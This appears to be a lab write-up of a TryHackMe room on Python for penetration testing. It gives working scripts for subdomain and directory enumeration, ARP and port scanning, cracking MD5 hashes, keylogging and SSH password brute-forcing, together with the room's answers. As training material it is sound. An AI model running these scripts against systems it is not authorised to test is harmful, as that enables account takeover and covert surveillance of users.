root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat python-for-pentesters.md
// Offensive

Python for Pentesters

22 Nov 2026 · 9 min read
Overview — A beginner-friendly Offensive room that shows why Python is the default glue language of security work. Instead of memorising tools, you read and run short scripts that do real jobs: enumerate subdomains and web paths, sweep a LAN with ARP, scan TCP ports, download files, crack unsalted hashes, record keystrokes and brute-force SSH. The lab target chains several of these together: a directory brute-force leaks a hash and a user list, the hash is cracked offline, and an SSH password attack ends in a shell.
PlatformTryHackMe
CategoryOffensive
DifficultyEasy
RoomPython for Pentesters

Attack map

Custom dir-enum script (requests, wordlist + ".html")
        |
        +--> apollo.html  : bare MD5 hash  --> Python hash cracker --> cleartext
        +--> surfer.html  : user list + notes
        |
        v
Paramiko SSH brute force (user from surfer.html)
        |
        v
SSH shell as a low-privileged user --> FLAG

Task 1 — Introduction

Python earns its place in offensive work for three reasons: it is installed almost everywhere, its standard library covers sockets, hashing and HTTP, and a huge ecosystem of third-party modules (requests, scapy, paramiko) fills the rest. A script is also easy to change on the fly, which matters when an engagement throws up something no off-the-shelf tool handles.

Scripts are not always run from a Python interpreter on the target. When you need to ship a tool to a Windows host that has no Python, you can freeze it into a standalone executable. PyInstaller and py2exe both do this by bundling the interpreter and your dependencies into one binary.

Q: What other tool can be used to convert Python scripts to Windows executables?
A: py2exe

Task 2 — Subdomain Enumeration

Subdomain enumeration finds extra hostnames (dev., mail., vpn.) that often expose weaker, forgotten applications. The idea is simple: take a wordlist, glue each word in front of the target domain, and see which names resolve and answer. The script below does that over HTTP.

import requests
import sys

sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()

for sub in subdoms:
    sub_domains = f"http://{sub}.{sys.argv[1]}"
    try:
        requests.get(sub_domains)
    except requests.ConnectionError:
        pass
    else:
        print("Valid domain: ", sub_domains)

How it works: sys.argv[1] is the first command-line argument (the domain), so the script is run as python3 subenum.py example.com. A name that does not resolve or refuses the connection raises requests.ConnectionError, which is swallowed; any name that gets a response (whatever the status code) is printed. Two practical limits: it is sequential, so large wordlists are slow, and it only finds hosts that answer on port 80. Querying DNS directly (for example with dnspython) is faster and also catches hosts that exist but serve only HTTPS.

Q: What other protocol could be used for subdomain enumeration?
A: DNS

Q: What function does Python use to get the input from the command line?
A: sys.argv

Task 3 — Directory Enumeration

The same pattern works for web paths: loop over a wordlist, request each candidate, and keep everything that is not a 404. This script appends .html to every word, because the lab site serves static pages.

import requests
import sys

sub_list = open("wordlist.txt").read()
directories = sub_list.splitlines()

for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}.html"
    r = requests.get(dir_enum)
    if r.status_code == 404:
        pass
    else:
        print("Valid directory:", dir_enum)
python3 direnum.py MACHINE_IP
Valid directory: http://MACHINE_IP/surfer.html
Valid directory: http://MACHINE_IP/private.html
Valid directory: http://MACHINE_IP/apollo.html
Valid directory: http://MACHINE_IP/index.html

Treating "anything but 404" as a hit is a deliberately loose test; real tools such as gobuster or ffuf let you filter on size or other codes because some servers answer 200 for everything. Here four pages exist, and fetching them with curl is enough to read them.

The apollo.html page contains nothing except a 32-character hex string, which is the shape of an MD5 hash. The surfer.html page is an administrator's note listing four usernames (tiffany, daniel, jim, mike) plus three passwords for other accounts (Madhatter, Rabbit, Alice). The login page is private.html.

Q: How many directories can your script identify on the target system? (extensions are .html)
A: 4

Q: What is the location of the login page?
A: private.html

Q: Where did you find a cryptic hash?
A: apollo.html

Q: Where are the usernames located?
A: surfer.html

Q: What is the password assigned to Rabbit?
A: LOUSYRABBO

Task 4 — Network Scanner

On a local segment the quickest way to find live hosts is ARP: devices must answer ARP to be reachable, even if they drop ICMP. Scapy lets you build that packet layer by layer. The / operator stacks protocols, so Ether()/ARP() is an Ethernet frame carrying an ARP request.

from scapy.all import *

interface = "eth0"
ip_range = "192.0.2.0/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"

packet = Ether(dst=broadcastMac)/ARP(pdst=ip_range)

ans, unans = srp(packet, timeout=2, iface=interface, inter=0.1)

for send, receive in ans:
    print(receive.sprintf(r"%Ether.src% - %ARP.psrc%"))

Step by step: the frame goes to the broadcast MAC so every host sees it; pdst asks "who has" every address in the range; srp() sends at layer 2 and collects replies (timeout bounds the wait, inter spaces the packets out so you do not flood the segment). Each answer is printed as MAC and IP. Two things to edit before running: the range (matching your network) and the interface name (ens33 on many VMs, not eth0). Sending raw frames needs root.

Q: What module was used to create the ARP request packets?
A: scapy

Q: Which variable would you need to change according to your local IP block?
A: ip_range

Q: What variable would you change to run this code on a system with the network interface named ens33?
A: interface

Task 5 — Port Scanner

A TCP connect scanner needs only the socket module. connect_ex() is the useful call: unlike connect() it returns an error code instead of raising, and 0 means the handshake completed, so the port is open. The lab version also prints a banner with pyfiglet (sudo apt install python3-pyfiglet if missing), which is cosmetic.

import sys
import socket
import pyfiglet

ascii_banner = pyfiglet.figlet_format("Port Scanner")
print(ascii_banner)

ip = 'MACHINE_IP'
open_ports = []
ports = range(1, 65535)

def probe_port(ip, port, result=1):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.5)
        r = sock.connect_ex((ip, port))
        if r == 0:
            result = r
        sock.close()
    except Exception as e:
        pass
    return result

for port in ports:
    sys.stdout.flush()
    response = probe_port(ip, port)
    if response == 0:
        open_ports.append(port)

if open_ports:
    print("Open Ports are: ")
    print(sorted(open_ports))
else:
    print("Looks like no ports are open :(")

The half-second timeout keeps closed or filtered ports from stalling the scan; it is also why running from the AttackBox (low latency) is recommended, since a slow VPN link can make a live port miss the timeout. Note that range(1, 65535) stops at 65534, so port 65535 is never tested. sys.stdout.flush() pushes buffered output out on each iteration. For real work use nmap; the point here is to understand what a connect scan is doing.

Open Ports are:
[22, 80, 2100]

Q: What protocol will most likely be using TCP port 22?
A: SSH

Q: What module did we import to be able to use sockets?
A: socket

Q: What function is likely to fail if we didn't import sys?
A: sys.stdout.flush()

Q: How many ports are open on the target machine?
A: 3

Q: What is the highest port number open on the target system?
A: 2100

Task 6 — File Downloader

Getting a payload or tool onto a compromised host is a staple step. Python does it in three lines: fetch the URL (following redirects), then write the raw bytes in binary mode ('wb') so images and executables are not corrupted.

import requests

url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)

The room ties this to the kill chain: once you download tools such as PsExec, you can use them for lateral movement (PsExec runs commands on a remote Windows host over SMB).

Q: What is the function used to connect to the target website?
A: requests.get()

Q: What step of the Unified Cyber Kill Chain can PSexec be used in?
A: Lateral Movement

Task 7 — Hash Cracker

A hash is one-way, so "cracking" means guessing: hash every candidate password from a wordlist and compare. This works against unsalted, fast hashes such as MD5 or SHA-256, because the same input always yields the same digest.

import hashlib

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        hash_ob = hashlib.md5(line.strip().encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip())
            exit(0)

.strip() removes the trailing newline (otherwise every hash would be of "word\n"), .encode() turns the string into bytes as hashlib requires, and hexdigest() gives the familiar hex string. Running it against the hash from apollo.html (cd13b6a6af66fb774faa589a9d18f906) with the room's wordlist reveals rainbow.

Adapting it to SHA-256 is a one-word change: replace hashlib.md5 with hashlib.sha256. A SHA-256 digest is 64 hex characters, which is a quick way to tell the two apart by length. The second hash in the room, 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60, cracks to redwings.

Defensive note: this is exactly why passwords must be stored with a slow, salted algorithm (bcrypt, scrypt, Argon2). A per-user salt defeats precomputed tables and forces the attacker to crack each account separately.

Q: What is the hash you found during directory enumeration?
A: cd13b6a6af66fb774faa589a9d18f906

Q: What is the cleartext value of this hash?
A: rainbow

Q: Using the modified script find the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
A: redwings

Task 8 — Keyloggers

The third-party keyboard module hooks the keyboard globally. Three lines record everything typed until Enter is pressed and then replay it:

pip3 install keyboard
import keyboard
keys = keyboard.record(until='ENTER')
keyboard.play(keys)

record() returns a list of key events; play() re-emits them. To capture silently (instead of replaying the keystrokes on screen) you would drop the play() line and write the events to a file or send them somewhere. On Linux the module needs root. Keylogging is intrusive and, outside an authorised test, illegal; on the defensive side, EDR products flag processes that install global keyboard hooks.

Q: What package installer was used?
A: pip3

Q: What line in this code would you change to stop the result from being printed on the screen?
A: keyboard.play(keys)

Task 9 — SSH Brute Forcing

paramiko is a pure-Python SSHv2 client and server library. A brute-forcer is just a loop that tries to log in with each password and checks whether authentication failed.

import paramiko
import sys
import os

target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

with open(password_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        try:
            response = ssh_connect(password)
            if response == 0:
                print('password found: ' + password)
                exit(0)
            elif response == 1:
                print('no luck')
        except Exception as e:
            print(e)

Key details: AutoAddPolicy() accepts unknown host keys without prompting (convenient for a lab, unsafe for real use because it disables MITM protection); AuthenticationException means "wrong password", mapped to return code 1, while a clean connection returns 0. The original sample ends with a stray input_file.close() that refers to an undefined name; it is never reached on success (the script exits first) and is omitted above.

The username comes from earlier: the only name in surfer.html starting with "t" is tiffany. Running the script with the room's wordlist prints many "no luck" lines and finally the password:

no luck
no luck
password found: trustno1
ssh tiffany@MACHINE_IP
ls
cat flag.txt

The login lands in a shell on an Ubuntu 18.04 host, where flag.txt sits in the home directory: FLAG.

Q: What username starting with the letter "t" did you find earlier?
A: tiffany

Q: What is the SSH password of this user?
A: trustno1

Q: What is the content of the flag.txt file?
A: FLAG

Quick reference

ScriptLibrary / key callTask
Subdomain and directory enumerationrequests with a wordlist, sys.argv[1] for the target2, 3
Network scannerscapy Ether/ARP broadcast with srp()4
Port scannersocket connect_ex(), 0 means open5
File downloaderrequests.get(), write bytes with 'wb'6
Hash crackerhashlib.md5 or hashlib.sha256 against a wordlist7
Keyloggerkeyboard module (installed with pip3)8
SSH brute forceparamiko with AutoAddPolicy9

Key takeaways

  • Most pentest tooling reduces to a loop over a wordlist plus a check on the response: the same skeleton drives subdomain, directory and password attacks.
  • requests handles web logic, socket handles raw TCP, scapy crafts packets and paramiko speaks SSH; learning these four covers a lot of ground.
  • Unsalted MD5/SHA-256 hashes fall to a ten-line script; store passwords with bcrypt, scrypt or Argon2 plus a salt.
  • Information leaks chain: a stray static page gave a hash and a user list, and a weak password turned that into shell access. Do not leave notes or credentials in web roots.
  • Throttle, lock out and monitor SSH logins: a brute-force script is noisy and easy to detect with fail2ban or log alerting.
  • Use mature tools (nmap, ffuf, hashcat, hydra) in real engagements, and write your own when you need to understand or customise the behaviour.